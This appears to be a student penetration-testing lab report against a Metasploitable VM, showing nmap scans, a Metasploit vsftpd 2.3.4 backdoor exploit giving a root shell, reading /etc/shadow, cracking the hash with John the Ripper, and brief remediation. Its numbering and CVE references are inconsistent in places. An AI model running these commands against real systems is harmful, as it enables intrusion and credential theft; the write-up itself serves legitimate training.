Network Penetration Testing with Real-World Exploits and Security Remediation

Project objectives :-

INTRODUCTION

In today's interconnected digital landscape, network security is a critical concern for organizations of all sizes. With increasing threats from cybercriminals, it is essential to proactively test and secure network infrastructures. Network Penetration Testing is a method of ethically simulating attacks to uncover vulnerabilities in network systems before malicious actors can exploit them.

This project explores real-world network penetration testing, where commonly used attack techniques and publicly known exploits are applied to identify security flaws. The project doesn't stop at detection—it also emphasizes security remediation, offering practical solutions and best practices to fix the issues uncovered. By doing so, it bridges the gap between offensive testing and defensive security strategies, ensuring a well-rounded approach to cyber resilience.

THEORY

Network Penetration Testing is a structured process used to evaluate the security of a network by mimicking real cyberattacks. It typically involves five main phases: reconnaissance, scanning, enumeration, exploitation, and reporting. The aim is to reveal weaknesses such as open ports, vulnerable services, misconfigurations, and outdated software.

In this project, real-world exploits—such as known CVEs and poor security configurations—are used to simulate realistic attack scenarios. Tools like Metasploit, Nmap, and Burp Suite help perform these simulated attacks effectively.

After identifying vulnerabilities, security remediation is performed. This includes applying patches, updating configurations, hardening system settings, and improving access controls. The end goal is to not only demonstrate how attackers can break in, but also how to prevent such breaches through proper security measures.

Project requirements

Two Operating System

1. Kali Linux (Attacking machine)
2. Metasploitable machine (Target Machine)

Tools Details:-

Nmap: For network scanning, port discovery, OS detection, and service enumeration.

Metasploit framework: For exploiting known vulnerabilities in services.

John the Ripper: For cracking password hashes.

Tasks:-

Network Scanning

Task 1: Basic Network Scan

Step 1: Open a terminal on your Kali Linux machine.

Step 2: Run a basic scan on your local network.

$ nmap -v 192.168.80.128

```
┌──(kali㉿kali)-[~]
└─$ nmap -v 192.168.80.128
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-17 06:32 EDT
Initiating Ping Scan at 06:32
Scanning 192.168.80.128 [4 ports]
Completed Ping Scan at 06:32, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:32
Completed Parallel DNS resolution of 1 host. at 06:32, 0.05s elapsed
Initiating SYN Stealth Scan at 06:32
Scanning 192.168.80.128 [1000 ports]
Discovered open port 139/tcp on 192.168.80.128
Discovered open port 23/tcp on 192.168.80.128
Discovered open port 25/tcp on 192.168.80.128
Discovered open port 21/tcp on 192.168.80.128
Discovered open port 22/tcp on 192.168.80.128
Discovered open port 5900/tcp on 192.168.80.128
Discovered open port 3306/tcp on 192.168.80.128
Discovered open port 80/tcp on 192.168.80.128
Discovered open port 445/tcp on 192.168.80.128
Discovered open port 53/tcp on 192.168.80.128
Discovered open port 111/tcp on 192.168.80.128
Discovered open port 2121/tcp on 192.168.80.128
Discovered open port 513/tcp on 192.168.80.128
Discovered open port 6000/tcp on 192.168.80.128
Discovered open port 514/tcp on 192.168.80.128
Discovered open port 2049/tcp on 192.168.80.128
Discovered open port 1099/tcp on 192.168.80.128
Discovered open port 1524/tcp on 192.168.80.128
Discovered open port 8009/tcp on 192.168.80.128
Discovered open port 8180/tcp on 192.168.80.128
Discovered open port 6667/tcp on 192.168.80.128
Discovered open port 512/tcp on 192.168.80.128
Discovered open port 44443/tcp on 192.168.80.128
Discovered open port 5432/tcp on 192.168.80.128
Completed SYN Stealth Scan at 06:32, 4.00s elapsed (1000 total ports)
Nmap scan report for 192.168.80.128
Host is up (0.0044s latency).
Not shown: 976 filtered tcp ports (no-response)
PORT       STATE SERVICE
21/tcp     open  ftp
22/tcp     open  ssh
23/tcp     open  telnet
25/tcp     open  smtp
53/tcp     open  domain
80/tcp     open  http
111/tcp    open  rpcbind
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
512/tcp    open  exec
513/tcp    open  login
514/tcp    open  shell
1099/tcp   open  rmiregistry
1524/tcp   open  ingreslock
2049/tcp   open  nfs
2121/tcp   open  ccproxy-ftp
3306/tcp   open  mysql
5432/tcp   open  postgresql
5900/tcp   open  vnc
6000/tcp   open  X11
6667/tcp   open  irc
8009/tcp   open  ajp13
8180/tcp   open  unknown
44443/tcp open  coldfusion-auth

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.24 seconds
           Raw packets sent: 1981 (87.136KB) | Rcvd: 513 (20.616KB)

┌──(kali㉿kali)-[~]
└─$
```

Task 2: Scanning for hidden Ports

Step 1: To scan for hidden ports , we have to scan whole range of ports on that specific targeted ip address.

$ nmap -v -p- 192.168.80.128

```
┌──(kali㉿kali)-[~]
└─$ nmap -v -p- 192.168.80.128
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-17 06:53 EDT
Initiating Ping Scan at 06:53
Scanning 192.168.80.128 [4 ports]
Completed Ping Scan at 06:53, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:53
Completed Parallel DNS resolution of 1 host. at 06:53, 0.09s elapsed
Initiating SYN Stealth Scan at 06:53
Scanning 192.168.80.128 [65535 ports]
Discovered open port 445/tcp on 192.168.80.128
Discovered open port 53/tcp on 192.168.80.128
Discovered open port 23/tcp on 192.168.80.128
Discovered open port 25/tcp on 192.168.80.128
Discovered open port 139/tcp on 192.168.80.128
Discovered open port 3306/tcp on 192.168.80.128
Discovered open port 80/tcp on 192.168.80.128
Discovered open port 22/tcp on 192.168.80.128
Discovered open port 5900/tcp on 192.168.80.128
Discovered open port 111/tcp on 192.168.80.128
Discovered open port 21/tcp on 192.168.80.128
Discovered open port 6697/tcp on 192.168.80.128
Discovered open port 33241/tcp on 192.168.80.128
Discovered open port 8009/tcp on 192.168.80.128
SYN Stealth Scan Timing: About 20.34% done; ETC: 06:56 (0:02:01 remaining)
Discovered open port 8787/tcp on 192.168.80.128
Discovered open port 46286/tcp on 192.168.80.128
Discovered open port 6667/tcp on 192.168.80.128
Discovered open port 36754/tcp on 192.168.80.128
Discovered open port 2049/tcp on 192.168.80.128
Discovered open port 513/tcp on 192.168.80.128
SYN Stealth Scan Timing: About 48.56% done; ETC: 06:55 (0:01:05 remaining)
Discovered open port 8180/tcp on 192.168.80.128
Discovered open port 3632/tcp on 192.168.80.128
Discovered open port 44443/tcp on 192.168.80.128
Discovered open port 2121/tcp on 192.168.80.128
Discovered open port 5432/tcp on 192.168.80.128
Discovered open port 6000/tcp on 192.168.80.128
Discovered open port 1524/tcp on 192.168.80.128
Discovered open port 514/tcp on 192.168.80.128
Discovered open port 1099/tcp on 192.168.80.128
Discovered open port 512/tcp on 192.168.80.128
Completed SYN Stealth Scan at 06:55, 104.96s elapsed (65535 total ports)
Nmap scan report for 192.168.80.128
Host is up (0.00059s latency).
Not shown: 65505 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
33241/tcp open  unknown
36754/tcp open  unknown
44443/tcp open  coldfusion-auth
46286/tcp open  unknown
```

Task 3: Service Version Detection

Step 1: Use the -sV option to detect the version of services running on open ports:

$ nmap -v -sV 192.168.80.128

```
┌──(kali㉿kali)-[~]
└─$ nmap -v -sV 192.168.80.128
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-17 11:26 EDT
NSE: Loaded 46 scripts for scanning.
Initiating Ping Scan at 11:26
Scanning 192.168.80.128 [4 ports]
Completed Ping Scan at 11:26, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:26
Completed Parallel DNS resolution of 1 host. at 11:26, 4.01s elapsed
Initiating SYN Stealth Scan at 11:26
Scanning 192.168.80.128 [1000 ports]
Discovered open port 139/tcp on 192.168.80.128
Discovered open port 80/tcp on 192.168.80.128
Discovered open port 22/tcp on 192.168.80.128
Discovered open port 21/tcp on 192.168.80.128
Discovered open port 5900/tcp on 192.168.80.128
Discovered open port 445/tcp on 192.168.80.128
Discovered open port 53/tcp on 192.168.80.128
Discovered open port 3306/tcp on 192.168.80.128
Discovered open port 25/tcp on 192.168.80.128
Discovered open port 23/tcp on 192.168.80.128
Discovered open port 111/tcp on 192.168.80.128
Discovered open port 2049/tcp on 192.168.80.128
Discovered open port 6667/tcp on 192.168.80.128
Discovered open port 2121/tcp on 192.168.80.128
Discovered open port 5432/tcp on 192.168.80.128
Increasing send delay for 192.168.80.128 from 0 to 5 due to 11 out of 26 dropped probes since last increase.
Discovered open port 514/tcp on 192.168.80.128
Discovered open port 513/tcp on 192.168.80.128
Discovered open port 1524/tcp on 192.168.80.128
Discovered open port 6000/tcp on 192.168.80.128
Discovered open port 8009/tcp on 192.168.80.128
Increasing send delay for 192.168.80.128 from 5 to 10 due to 11 out of 29 dropped probes since last increase.
Discovered open port 512/tcp on 192.168.80.128
Discovered open port 8180/tcp on 192.168.80.128
Discovered open port 1099/tcp on 192.168.80.128
Discovered open port 44443/tcp on 192.168.80.128
Completed SYN Stealth Scan at 11:27, 47.88s elapsed (1000 total ports)
Initiating Service scan at 11:27
Scanning 24 services on 192.168.80.128
Completed Service scan at 11:30, 157.15s elapsed (24 services on 1 host)
NSE: Script scanning 192.168.80.128.
Initiating NSE at 11:30
Completed NSE at 11:30, 8.13s elapsed
Initiating NSE at 11:30
Completed NSE at 11:30, 8.03s elapsed
Nmap scan report for 192.168.80.128
Host is up (0.00058s latency).
Not shown: 921 filtered tcp ports (no-response), 55 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell?
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
44443/tcp open  nlockmgr    1-4 (RPC #100021)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Task 4: Operating System Detection

Step 1: Use the -O option to detect the operating systems of devices on the network:

$ nmap -v -O 192.168.80.168

```
└─$ nmap -v -O 192.168.80.128
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-17 11:33 EDT
Initiating Ping Scan at 11:33
Scanning 192.168.80.128 [4 ports]
Completed Ping Scan at 11:33, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:33
Completed Parallel DNS resolution of 1 host. at 11:33, 0.01s elapsed
Initiating SYN Stealth Scan at 11:33
Scanning 192.168.80.128 [1000 ports]
Discovered open port 22/tcp on 192.168.80.128
Discovered open port 25/tcp on 192.168.80.128
Discovered open port 53/tcp on 192.168.80.128
Discovered open port 80/tcp on 192.168.80.128
Discovered open port 3306/tcp on 192.168.80.128
Discovered open port 111/tcp on 192.168.80.128
Discovered open port 5900/tcp on 192.168.80.128
Discovered open port 139/tcp on 192.168.80.128
Discovered open port 23/tcp on 192.168.80.128
Discovered open port 21/tcp on 192.168.80.128
Discovered open port 2049/tcp on 192.168.80.128
Discovered open port 8180/tcp on 192.168.80.128
Discovered open port 8009/tcp on 192.168.80.128
Increasing send delay for 192.168.80.128 from 0 to 5 due to 11 out of 27 dropped probes since last increase.
Increasing send delay for 192.168.80.128 from 5 to 10 due to max_successful_tryno increase to 4
Discovered open port 6667/tcp on 192.168.80.128
Increasing send delay for 192.168.80.128 from 10 to 20 due to max_successful_tryno increase to 5
Discovered open port 445/tcp on 192.168.80.128
Increasing send delay for 192.168.80.128 from 20 to 40 due to max_successful_tryno increase to 6
SYN Stealth Scan Timing: About 52.59% done; ETC: 11:34 (0:00:34 remaining)
SYN Stealth Scan Timing: About 63.24% done; ETC: 11:35 (0:00:43 remaining)
Discovered open port 1099/tcp on 192.168.80.128
Discovered open port 44443/tcp on 192.168.80.128
SYN Stealth Scan Timing: About 76.70% done; ETC: 11:35 (0:00:36 remaining)
Discovered open port 6000/tcp on 192.168.80.128
Discovered open port 513/tcp on 192.168.80.128
Discovered open port 2121/tcp on 192.168.80.128
Discovered open port 514/tcp on 192.168.80.128
Discovered open port 512/tcp on 192.168.80.128
Discovered open port 5432/tcp on 192.168.80.128
Completed SYN Stealth Scan at 11:36, 207.98s elapsed (1000 total ports)
Initiating OS detection (try #1) against 192.168.80.128
Retrying OS detection (try #2) against 192.168.80.128
WARNING: OS didn't match until try #2
Nmap scan report for 192.168.80.128
Host is up (0.00096s latency).
Not shown: 917 filtered tcp ports (no-response), 60 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
44443/tcp open  coldfusion-auth
Device type: WAP
Running: Actiontec embedded, Linux
OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel
OS details: Actiontec MI424WR-GEN3I WAP
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: Incremental
```

Task 5- Enumeration

- **Target IP Address:** 192.168.80.128
- MAC Address: 00:0c:29:87:ff:e7
- Device type: general purpose
- Running: Linux 2.6.X
- OS CPE: cpe:/o:linux:linux_kernel:2.6

- OS details: Actiontec

Services Version with open ports (LIST ALL THE OPEN PORTS EXCLUDING HIDDEN PORTS)

8180/tcp open unknown

8009/tcp open ajp13

3306/tcp open mysgl

2049/tcp open nfs

513/tcp open login

80/tcp open http

514/tcp open shell

5432/tcp open postgresql

6667/tcp open irc

5900/tcp open vnc

23/tcp open telnet

21/tcp oprn ftp

22/tcp open ssh

111/tcp open rpcbind

1524/tcp open ingreslock

512/tcp open exec

1524/tcp open ingreslock

445/tcp open Microsoft-ds

2121/tcp open ccproxy-ftp

25/tcp open smtp

Task 6- Exploitation of services

Exploit: Backdoor vulnerability (CVE-2011-1523)

STEPS: $msfconsole

     $ exploit /unix/ftp/vsftpd_234_backdoor

     $ set RHOST 192.168.80.128

     $ set RPORT 21

     $ run

```
┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Use the 'capture' plugin to start multiple
authentication-capturing and poisoning services


                    ########                        #
                 ################                    #
             #######################                 #
          ###########################                #
          #############################
          ###############################
          ###############################
          ###############################
                 #        #######        #
            ##         ###         ####   ##
                                   ###    ###
                                  ####    ###
            ####            #########     ####
          #####################          ####
           #####################         ####
             ##################     ####
              ############         ##
                 ########          ###
                 ########          #####
              ############        ######
           ########            #########
             #####            ########
               ###          #########
             ######       #############
            #######################
          #      #   ###  #   #   ##
          #########################
              ##      ##    ##       ##
                 https://metasploit.com


       =[ metasploit v6.4.34-dev                    ]
+ -- --=[ 2461 exploits - 1267 auxiliary - 431 post ]
+ -- --=[ 1468 payloads - 49 encoders - 11 nops      ]
+ -- --=[ 9 evasion                                  ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > exploit/unix/ftp/vsftpd_234_backdoor
[-] Unknown command: exploit/unix/ftp/vsftpd_234_backdoor. Run the help command for more details.
This is a module we can load. Do you want to use exploit/unix/ftp/vsftpd_234_backdoor? [y/N]   y
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.80.128
RHOST ⇒ 192.168.80.128
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT ⇒ 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.80.128:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.80.128:21 - USER: 331 Please specify the password.
[+] 192.168.80.128:21 - Backdoor service has been spawned, handling ...
[+] 192.168.80.128:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.159.129:44485 → 192.168.80.128:6200) at 2025-05-17 12:04:52 -0400
```

Task 7: Priviledge Escalation

Exploit: Ussermap script vulnerability (CVE-2007-2447)

Steps: $ use exploit/ unix/ftp/vsftpd_234_backdoor

$ set RHOST 192.168.80.128

$ exploit

```
Abort session 1? [y/N]  n
[*] Aborting foreground process in the shell session
sh: line 7: : command not found
pwd
/
^C
Abort session 1? [y/N]  n
[*] Aborting foreground process in the shell session
sh: line 9: : command not found
sudo usermod -aG sudo anushriya
cat /etc/passwd | grep anushriya
anushriya:x:1003:1003:anushriya,,,:/home/anushriya:/bin/bash
^C
Abort session 1? [y/N]  n
[*] Aborting foreground process in the shell session
sh: line 12: : command not found
sudo cat /etc/shadow | grep anushriya
anushriya:$1$B9.n4wOI$p4bxAy3aIi5TVVkmiWbH3/:20225:0:99999:7 :::
```

Task 5 – Create user with root permission

adduser **anushriya**

password anushriya

sudo usermod -Ag sudo anushriya

cat/etc/passwd | grep anushriya

anushriya:x:1003:1003:anushriya,,,:/home/anushriya:/bin/bash

sudo cat /etc/shadow | grep anushriya

anushriya:1B9.n4Woi$p4bxAy3aIi5TVVkmiWbH3/:20225:0:99999:7:::


```
┌──(kali㉿kali)-[~/Downloads/john/run]
└─$ nanoanushriya_hash.txt

┌──(kali㉿kali)-[~/Downloads/john/run]
└─$ catanushriya_hash.txt
$1$B9.n4wOI$p4bxAy3aIi5TVVkmiWbH3/

┌──(kali㉿kali)-[~/Downloads/john/run]
```

```
  ┌──(kali⊙kali)-[~/Downloads/john/run]
  └─$ john anushriya_hash.txt
Created directory: /home/kali/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8×3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
1234             (?)
1g 0:00:00:00 DONE 2/3 (2025-05-17 13:51) 50.00g/s 19200p/s 19200c/s 19200C/s 123456..larry
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Task 6 – Cracking password hashes

Steps:

$ nano anushriya_hash.txt

$ john anushriya_hash.txt

$ john anushriya_hash.txt –show

```
  ┌──(kali⊙kali)-[~/Downloads/john/run]
  └─$ john anushriya_hash.txt--show
stat:anushriya_hash.txt--show: No such file or directory

  ┌──(kali⊙kali)-[~/Downloads/john/run]
  └─$ john anushriya_hash.txt --show
?:1234

1 password hash cracked, 0 left

  ┌──(kali⊙kali)-[~/Downloads/john/run]
  └─$ ▮
```

Task 7 – Remediation

- **FTP service:**
  Vulnerability- Backdoor (CVE-2011-2523)
  Remediation- upgrade to vsfpd 3.0.5.
            Disable FTP and use SFTP.

- **R services (Ports 512-514):**
  Vulnerability- Plaintext credentials (CVE-1999-0651)
  Remediation- Disable rsh, rlogin, and rexec services.

Major Learning From this project

- **Methods of password cracking**

- **Importance of remediation to secure system against attacks.**
- **Use of nmap for network scanning and enumeration.**